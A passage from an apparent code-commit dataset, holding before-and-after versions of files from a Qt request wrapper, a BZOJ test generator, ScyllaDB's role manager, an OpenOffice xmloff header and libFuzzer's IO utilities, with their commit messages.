 m_error = createError(m_reply->errorString());\n        m_error.setProperty(\"code\", m_reply->error());\n        if (status >= 400) {\n            m_error.setProperty(\"status\", status);\n            \/\/ TODO: Add \"method\" property\n        }\n    }\n\n    QJSValueList args;\n\n    ResponsePrototype *rep = new ResponsePrototype(m_engine, m_reply);\n    args << m_error << m_engine->newQObject(rep);\n\n    if (m_callback.isCallable()) {\n        m_callback.call(args);\n    } else {\n        qWarning() << QString(\"%1 is not callable\").arg(m_callback.toString());\n    }\n}\n\nQJSValue RequestPrototype::createError(const QString &message, ErrorType type)\n{\n    QString err;\n    switch (type) {\n    case RangeError:\n        err = \"RangeError\";\n        break;\n    case ReferenceError:\n        err = \"ReferenceError\";\n        break;\n    case SyntaxError:\n        err = \"SyntaxError\";\n        break;\n    case TypeError:\n        err = \"TypeError\";\n        break;\n    case URIError:\n        err = \"URIError\";\n        break;\n    case InternalError:\n        err = \"InternalError\";\n        break;\n    case Error:\n    default:\n        err = \"Error\";\n    }\n\n    QString script = \"new %1('%2');\";\n    return m_engine->evaluate(script.arg(err).arg(message));\n}\n\n#ifndef QT_NO_SSL\nvoid RequestPrototype::handleSslErrors(const QList<QSslError> &errors)\n{\n\n}\n#endif\n\nvoid RequestPrototype::timerEvent(QTimerEvent *)\n{\n    m_error = createError(QString(\"Timeout of %1 ms exceeded\").arg(m_timeout));\n    abort();\n}\n\n} } }\n<|endoftext|>"}
{"text":"<commit_before>#include <bits\/stdc++.h>\n\nconst int MOD = 1000000000;\n\nint main() {\n    char *t = new char;\n    srand(time(0) + (long long)t);\n    delete t;\n    register int n, m;\n    n = rand() % MOD + 1, m = rand() % MOD + 1;\n    while (std::__gcd(n, m) != 1) {\n        n = rand() % MOD + 1, m = rand() % MOD + 1;\n    }\n    std::cout << n << ' ' << m << '\\n';\n    return 0;\n}<commit_msg>BZOJ3337<commit_after>#include <bits\/stdc++.h>\nint a[100010];\nint main() {\n    register int n = 100000, q = 100000;\n    std::cout << n << '\\n';\n    for (register int i = 1; i <= n; i++) {\n        a[i] = i;\n    }\n    std::random_shuffle(a + 1, a + n + 1);\n    for (register int i = 1; i < n; i++) {\n        std::cout << a[i] << ' ';\n    }\n    std::cout << a[n] << '\\n';\n    std::cout << q << '\\n';\n    q \/= 4;\n    register int l[2] = {1, n \/ 2}, r[2] = {n \/ 2, n};\n    const int LIMIT = (INT_MAX \/ n - 1) \/ 2;\n    for (register int i = 1; i <= q; i++) {\n        if (l[0] > r[0]) std::swap(l[0], r[0]);\n        std::cout << \"3 \" << (l[0]++) << ' ' << (r[0]--) << '\\n';\n        if (l[1] > r[1]) std::swap(l[1], r[1]);\n        std::cout << \"5 \" << (l[1]++) << ' ' << (r[1]--) << ' '\n                  << i * 1234ll % LIMIT << '\\n';\n        register int s = i + n \/ 2, t = n * 3 \/ 4 - i;\n        if (s > t) std::swap(s, t);\n        std::cout << \"9 \" << s << ' ' << t << ' '\n                  << i * 123456ll % (INT_MAX \/ 2) << '\\n';\n    }\n    for (register int i = 1; i <= q; i++) {\n        std::cout << \"9 \" << i << ' ' << n - i + 1 << ' '\n                  << i * 123456ll % (INT_MAX \/ 2) << '\\n';\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2017 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <experimental\/string_view>\n#include <memory>\n#include <optional>\n#include <stdexcept>\n#include <unordered_set>\n\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/print.hh>\n#include <seastar\/core\/sstring.hh>\n\n#include \"auth\/resource.hh\"\n#include \"seastarx.hh\"\n#include \"stdx.hh\"\n\nnamespace auth {\n\nstruct role_config final {\n    bool is_superuser{false};\n    bool can_login{false};\n};\n\n\/\/ Differential update for altering existing roles.\nstruct role_config_update final {\n    std::optional<bool> is_superuser{};\n    std::optional<bool> can_login{};\n};\n\n\/\/ A logical argument error for a role-management operation.\nclass roles_argument_exception : public std::invalid_argument {\npublic:\n    using std::invalid_argument::invalid_argument;\n};\n\nclass role_already_exists : public roles_argument_exception {\n    std::shared_ptr<sstring> _role_name;\n\npublic:\n    explicit role_already_exists(stdx::string_view role_name)\n            : roles_argument_exception(sprint(\"The '%s' role already exists.\", role_name))\n            , _role_name(std::make_shared<sstring>(role_name)) {\n    }\n\n    stdx::string_view role_name() const noexcept {\n        return *_role_name;\n    }\n};\n\nclass nonexistant_role : public roles_argument_exception {\n    std::shared_ptr<sstring> _role_name;\n\npublic:\n    explicit nonexistant_role(stdx::string_view role_name)\n            : roles_argument_exception(sprint(\"The role '%s' does not exist.\", role_name))\n            , _role_name(std::make_shared<sstring>(role_name)) {\n    }\n\n    stdx::string_view role_name() const noexcept {\n        return *_role_name;\n    }\n};\n\nclass role_already_included : public roles_argument_exception {\n    std::shared_ptr<sstring> _role_name, _grantee_name;\n\npublic:\n    role_already_included(stdx::string_view grantee_name, stdx::string_view role_name)\n            : roles_argument_exception(\n                      sprint(\"'%s' already includes role '%s'.\", grantee_name, role_name))\n            , _role_name(std::make_shared<sstring>(role_name))\n            , _grantee_name(std::make_shared<sstring>(grantee_name)) {\n    }\n\n    stdx::string_view role_name() const noexcept {\n        return *_role_name;\n    }\n\n    stdx::string_view grantee_name() const noexcept {\n        return *_grantee_name;\n    }\n};\n\nclass revoke_ungranted_role : public roles_argument_exception {\n    std::shared_ptr<sstring> _role_name, _revokee_name;\n\npublic:\n    revoke_ungranted_role(stdx::string_view revokee_name, stdx::string_view role_name)\n            : roles_argument_exception(\n                      sprint(\"'%s' was not granted role '%s', so it cannot be revoked.\", revokee_name, role_name))\n            , _role_name(std::make_shared<sstring>(role_name))\n            , _revokee_name(std::make_shared<sstring>(revokee_name)) {\n    }\n\n    stdx::string_view role_name() const noexcept {\n        return *_role_name;\n    }\n\n    stdx::string_view revokee_name() const noexcept {\n        return *_revokee_name;\n    }\n};\n\nenum class recursive_role_query { yes, no };\n\n\/\/ Abstract role manager.\n\/\/\n\/\/ All implementations should throw role-related exceptions as documented, but authorization-related checking is\n\/\/ handled by the CQL layer, and not here.\nclass role_manager {\npublic:\n    virtual ~role_manager() = default;\n\n    virtual stdx::string_view qualified_java_name() const noexcept = 0;\n\n    virtual future<> start() = 0;\n\n    virtual future<> stop() = 0;\n\n    \/\/ Must throw `role_already_exists` for a role that has previously been created.\n    virtual future<> create(stdx::string_view role_name, const role_config&) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<> drop(stdx::string_view role_name) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<> alter(stdx::string_view role_name, const role_config_update&) = 0;\n\n    \/\/ Grant `role_name` to `grantee_name`.\n    \/\/\n    \/\/ Must throw `nonexistant_role` if either the role or the grantee do not exist.\n    \/\/\n    \/\/ Must throw `role_already_included` if granting the role would be redundant, or create a cycle.\n    virtual future<> grant(stdx::string_view grantee_name, stdx::string_view role_name) = 0;\n\n    \/\/ Revoke `role_name` from `revokee_name`.\n    \/\/\n    \/\/ Must throw `nonexistant_role` if either the role or the revokee do not exist.\n    \/\/\n    \/\/ Must throw `revoke_ungranted_role` if the role was not granted.\n    virtual future<> revoke(stdx::string_view revokee_name, stdx::string_view role_name) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<std::unordered_set<sstring>> query_granted(stdx::string_view grantee, recursive_role_query) const = 0;\n\n    virtual future<std::unordered_set<sstring>> query_all() const = 0;\n\n    virtual future<bool> exists(stdx::string_view role_name) const = 0;\n\n    \/\/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<bool> is_superuser(stdx::string_view role_name) const = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<bool> can_login(stdx::string_view role_name) const = 0;\n};\n\n}\n<commit_msg>auth\/role_manager: Remove unnecessary exn. info<commit_after>\/*\n * Copyright (C) 2017 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <experimental\/string_view>\n#include <memory>\n#include <optional>\n#include <stdexcept>\n#include <unordered_set>\n\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/print.hh>\n#include <seastar\/core\/sstring.hh>\n\n#include \"auth\/resource.hh\"\n#include \"seastarx.hh\"\n#include \"stdx.hh\"\n\nnamespace auth {\n\nstruct role_config final {\n    bool is_superuser{false};\n    bool can_login{false};\n};\n\n\/\/ Differential update for altering existing roles.\nstruct role_config_update final {\n    std::optional<bool> is_superuser{};\n    std::optional<bool> can_login{};\n};\n\n\/\/ A logical argument error for a role-management operation.\nclass roles_argument_exception : public std::invalid_argument {\npublic:\n    using std::invalid_argument::invalid_argument;\n};\n\nclass role_already_exists : public roles_argument_exception {\npublic:\n    explicit role_already_exists(stdx::string_view role_name)\n            : roles_argument_exception(sprint(\"The '%s' role already exists.\", role_name)) {\n    }\n};\n\nclass nonexistant_role : public roles_argument_exception {\npublic:\n    explicit nonexistant_role(stdx::string_view role_name)\n            : roles_argument_exception(sprint(\"The role '%s' does not exist.\", role_name)) {\n    }\n};\n\nclass role_already_included : public roles_argument_exception {\npublic:\n    role_already_included(stdx::string_view grantee_name, stdx::string_view role_name)\n            : roles_argument_exception(\n                      sprint(\"'%s' already includes role '%s'.\", grantee_name, role_name)) {\n    }\n};\n\nclass revoke_ungranted_role : public roles_argument_exception {\npublic:\n    revoke_ungranted_role(stdx::string_view revokee_name, stdx::string_view role_name)\n            : roles_argument_exception(\n                      sprint(\"'%s' was not granted role '%s', so it cannot be revoked.\", revokee_name, role_name)) {\n    }\n};\n\nenum class recursive_role_query { yes, no };\n\n\/\/ Abstract role manager.\n\/\/\n\/\/ All implementations should throw role-related exceptions as documented, but authorization-related checking is\n\/\/ handled by the CQL layer, and not here.\nclass role_manager {\npublic:\n    virtual ~role_manager() = default;\n\n    virtual stdx::string_view qualified_java_name() const noexcept = 0;\n\n    virtual future<> start() = 0;\n\n    virtual future<> stop() = 0;\n\n    \/\/ Must throw `role_already_exists` for a role that has previously been created.\n    virtual future<> create(stdx::string_view role_name, const role_config&) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<> drop(stdx::string_view role_name) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<> alter(stdx::string_view role_name, const role_config_update&) = 0;\n\n    \/\/ Grant `role_name` to `grantee_name`.\n    \/\/\n    \/\/ Must throw `nonexistant_role` if either the role or the grantee do not exist.\n    \/\/\n    \/\/ Must throw `role_already_included` if granting the role would be redundant, or create a cycle.\n    virtual future<> grant(stdx::string_view grantee_name, stdx::string_view role_name) = 0;\n\n    \/\/ Revoke `role_name` from `revokee_name`.\n    \/\/\n    \/\/ Must throw `nonexistant_role` if either the role or the revokee do not exist.\n    \/\/\n    \/\/ Must throw `revoke_ungranted_role` if the role was not granted.\n    virtual future<> revoke(stdx::string_view revokee_name, stdx::string_view role_name) = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<std::unordered_set<sstring>> query_granted(stdx::string_view grantee, recursive_role_query) const = 0;\n\n    virtual future<std::unordered_set<sstring>> query_all() const = 0;\n\n    virtual future<bool> exists(stdx::string_view role_name) const = 0;\n\n    \/\/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<bool> is_superuser(stdx::string_view role_name) const = 0;\n\n    \/\/ Must throw `nonexistant_role` if the role does not exist.\n    virtual future<bool> can_login(stdx::string_view role_name) const = 0;\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: unoatrcn.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: mib $ $Date: 2001-07-04 13:33:12 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMECONTAINER_HPP_\n#include <com\/sun\/star\/container\/XNameContainer.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XUNOTUNNEL_HPP_\n#include <com\/sun\/star\/lang\/XUnoTunnel.hpp>\n#endif\n\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n\nextern ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface >  SvUnoAttributeContainer_CreateInstance();\n\nclass SvXMLAttrContainerData;\n\nclass SvUnoAttributeContainer : public ::cppu::WeakAggImplHelper3<\n                                            ::com::sun::star::lang::XServiceInfo,\n                                            ::com::sun::star::lang::XUnoTunnel,\n                                            ::com::sun::star::container::XNameContainer >\n{\nprivate:\n    SvXMLAttrContainerData* mpContainer;\n\n    sal_uInt16 getIndexByName(const ::rtl::OUString& aName ) const;\n\npublic:\n    SvUnoAttributeContainer( SvXMLAttrContainerData* pContainer = NULL );\n    virtual ~SvUnoAttributeContainer();\n\n    SvXMLAttrContainerData* GetContainerImpl() const { return mpContainer; }\n\n    static const ::com::sun::star::uno::Sequence< sal_Int8 > & getUnoTunnelId() throw();\n    static SvUnoAttributeContainer* getImplementation( ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > xInt ) throw();\n    virtual sal_Int64 SAL_CALL getSomething( const ::com::sun::star::uno::Sequence< sal_Int8 >& aIdentifier ) throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ ::com::sun::star::container::XElementAccess\n    virtual ::com::sun::star::uno::Type  SAL_CALL getElementType(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL hasElements(void) throw( ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameAccess\n    virtual ::com::sun::star::uno::Any SAL_CALL getByName(const ::rtl::OUString& aName) throw( ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getElementNames(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL hasByName(const ::rtl::OUString& aName) throw( ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameReplace\n    virtual void SAL_CALL replaceByName(const ::rtl::OUString& aName, const ::com::sun::star::uno::Any& aElement) throw( ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameContainer\n    virtual void SAL_CALL insertByName(const ::rtl::OUString& aName, const ::com::sun::star::uno::Any& aElement) throw( ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::container::ElementExistException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n    virtual void SAL_CALL removeByName(const ::rtl::OUString& Name) throw( ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::lang::XServiceInfo\n    virtual ::rtl::OUString SAL_CALL getImplementationName(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL supportsService(const ::rtl::OUString& ServiceName) throw( ::com::sun::star::uno::RuntimeException );\n\n    friend  ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > SvUnoAttributeContainer_CreateInstance( const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > & rSMgr ) throw( ::com::sun::star::uno::Exception );\n};\n\n<commit_msg>INTEGRATION: CWS sb25 (1.2.434); FILE MERGED 2004\/11\/15 16:44:49 sb 1.2.434.1: #i37077# Reduce number of exported symbols of xmloff dynamic library.<commit_after>\/*************************************************************************\n *\n *  $RCSfile: unoatrcn.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-01-11 14:20:23 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SAL_CONFIG_H_\n#include \"sal\/config.h\"\n#endif\n\n#ifndef INCLUDED_XMLOFF_DLLAPI_H\n#include \"xmloff\/dllapi.h\"\n#endif\n\n#ifndef _SAL_TYPES_H_\n#include \"sal\/types.h\"\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMECONTAINER_HPP_\n#include <com\/sun\/star\/container\/XNameContainer.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XUNOTUNNEL_HPP_\n#include <com\/sun\/star\/lang\/XUnoTunnel.hpp>\n#endif\n\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n\nextern ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface >  SvUnoAttributeContainer_CreateInstance();\n\nclass SvXMLAttrContainerData;\n\nclass XMLOFF_DLLPUBLIC SvUnoAttributeContainer:\n    public ::cppu::WeakAggImplHelper3<\n        ::com::sun::star::lang::XServiceInfo,\n        ::com::sun::star::lang::XUnoTunnel,\n        ::com::sun::star::container::XNameContainer >\n{\nprivate:\n    SvXMLAttrContainerData* mpContainer;\n\n    SAL_DLLPRIVATE sal_uInt16 getIndexByName(const ::rtl::OUString& aName )\n        const;\n\npublic:\n    SvUnoAttributeContainer( SvXMLAttrContainerData* pContainer = NULL );\n    virtual ~SvUnoAttributeContainer();\n\n    SvXMLAttrContainerData* GetContainerImpl() const { return mpContainer; }\n\n    static const ::com::sun::star::uno::Sequence< sal_Int8 > & getUnoTunnelId() throw();\n    static SvUnoAttributeContainer* getImplementation( ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > xInt ) throw();\n    virtual sal_Int64 SAL_CALL getSomething( const ::com::sun::star::uno::Sequence< sal_Int8 >& aIdentifier ) throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ ::com::sun::star::container::XElementAccess\n    virtual ::com::sun::star::uno::Type  SAL_CALL getElementType(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL hasElements(void) throw( ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameAccess\n    virtual ::com::sun::star::uno::Any SAL_CALL getByName(const ::rtl::OUString& aName) throw( ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getElementNames(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL hasByName(const ::rtl::OUString& aName) throw( ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameReplace\n    virtual void SAL_CALL replaceByName(const ::rtl::OUString& aName, const ::com::sun::star::uno::Any& aElement) throw( ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::container::XNameContainer\n    virtual void SAL_CALL insertByName(const ::rtl::OUString& aName, const ::com::sun::star::uno::Any& aElement) throw( ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::container::ElementExistException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n    virtual void SAL_CALL removeByName(const ::rtl::OUString& Name) throw( ::com::sun::star::container::NoSuchElementException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException );\n\n    \/\/ ::com::sun::star::lang::XServiceInfo\n    virtual ::rtl::OUString SAL_CALL getImplementationName(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames(void) throw( ::com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL supportsService(const ::rtl::OUString& ServiceName) throw( ::com::sun::star::uno::RuntimeException );\n\n    friend  ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > SvUnoAttributeContainer_CreateInstance( const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > & rSMgr ) throw( ::com::sun::star::uno::Exception );\n};\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- FuzzerIO.cpp - IO utils. -------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ IO functions.\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"FuzzerInternal.h\"\n#include <iterator>\n#include <fstream>\n#include <dirent.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <cstdio>\n\nnamespace fuzzer {\n\nstatic long GetEpoch(const std::string &Path) {\n  struct stat St;\n  if (stat(Path.c_str(), &St)) {\n    Printf(\"Can not stat: %s; exiting\\n\", Path.c_str());\n    exit(1);\n  }\n  return St.st_mtime;\n}\n\nstatic std::vector<std::string> ListFilesInDir(const std::string &Dir,\n                                               long *Epoch) {\n  std::vector<std::string> V;\n  if (Epoch) {\n    auto E = GetEpoch(Dir.c_str());\n    if (*Epoch >= E) return V;\n    *Epoch = E;\n  }\n  DIR *D = opendir(Dir.c_str());\n  if (!D) {\n    Printf(\"No such directory: %s; exiting\\n\", Dir.c_str());\n    exit(1);\n  }\n  while (auto E = readdir(D)) {\n    if (E->d_type == DT_REG || E->d_type == DT_LNK)\n      V.push_back(E->d_name);\n  }\n  closedir(D);\n  return V;\n}\n\nUnit FileToVector(const std::string &Path) {\n  std::ifstream T(Path);\n  return Unit((std::istreambuf_iterator<char>(T)),\n              std::istreambuf_iterator<char>());\n}\n\nstd::string FileToString(const std::string &Path) {\n  std::ifstream T(Path);\n  return std::string((std::istreambuf_iterator<char>(T)),\n                     std::istreambuf_iterator<char>());\n}\n\nvoid CopyFileToErr(const std::string &Path) {\n  Printf(\"%s\", FileToString(Path).c_str());\n}\n\nvoid WriteToFile(const Unit &U, const std::string &Path) {\n  \/\/ Use raw C interface because this function may be called from a sig handler.\n  FILE *Out = fopen(Path.c_str(), \"w\");\n  if (!Out) return;\n  fwrite(U.data(), sizeof(U[0]), U.size(), Out);\n  fclose(Out);\n}\n\nvoid ReadDirToVectorOfUnits(const char *Path, std::vector<Unit> *V,\n                            long *Epoch) {\n  long E = Epoch ? *Epoch : 0;\n  for (auto &X : ListFilesInDir(Path, Epoch)) {\n    auto FilePath = DirPlusFile(Path, X);\n    if (Epoch && GetEpoch(FilePath) < E) continue;\n    V->push_back(FileToVector(FilePath));\n  }\n}\n\nstd::string DirPlusFile(const std::string &DirPath,\n                        const std::string &FileName) {\n  return DirPath + \"\/\" + FileName;\n}\n\nvoid PrintFileAsBase64(const std::string &Path) {\n  std::string Cmd = \"base64 -w 0 < \" + Path + \"; echo\";\n  ExecuteCommand(Cmd);\n}\n\nvoid Printf(const char *Fmt, ...) {\n  va_list ap;\n  va_start(ap, Fmt);\n  vfprintf(stderr, Fmt, ap);\n  va_end(ap);\n}\n\n}  \/\/ namespace fuzzer\n<commit_msg>[libFuzzer] fix minor inefficiency, PR24584<commit_after>\/\/===- FuzzerIO.cpp - IO utils. -------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ IO functions.\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"FuzzerInternal.h\"\n#include <iterator>\n#include <fstream>\n#include <dirent.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <cstdio>\n\nnamespace fuzzer {\n\nstatic long GetEpoch(const std::string &Path) {\n  struct stat St;\n  if (stat(Path.c_str(), &St)) {\n    Printf(\"Can not stat: %s; exiting\\n\", Path.c_str());\n    exit(1);\n  }\n  return St.st_mtime;\n}\n\nstatic std::vector<std::string> ListFilesInDir(const std::string &Dir,\n                                               long *Epoch) {\n  std::vector<std::string> V;\n  if (Epoch) {\n    auto E = GetEpoch(Dir);\n    if (*Epoch >= E) return V;\n    *Epoch = E;\n  }\n  DIR *D = opendir(Dir.c_str());\n  if (!D) {\n    Printf(\"No such directory: %s; exiting\\n\", Dir.c_str());\n    exit(1);\n  }\n  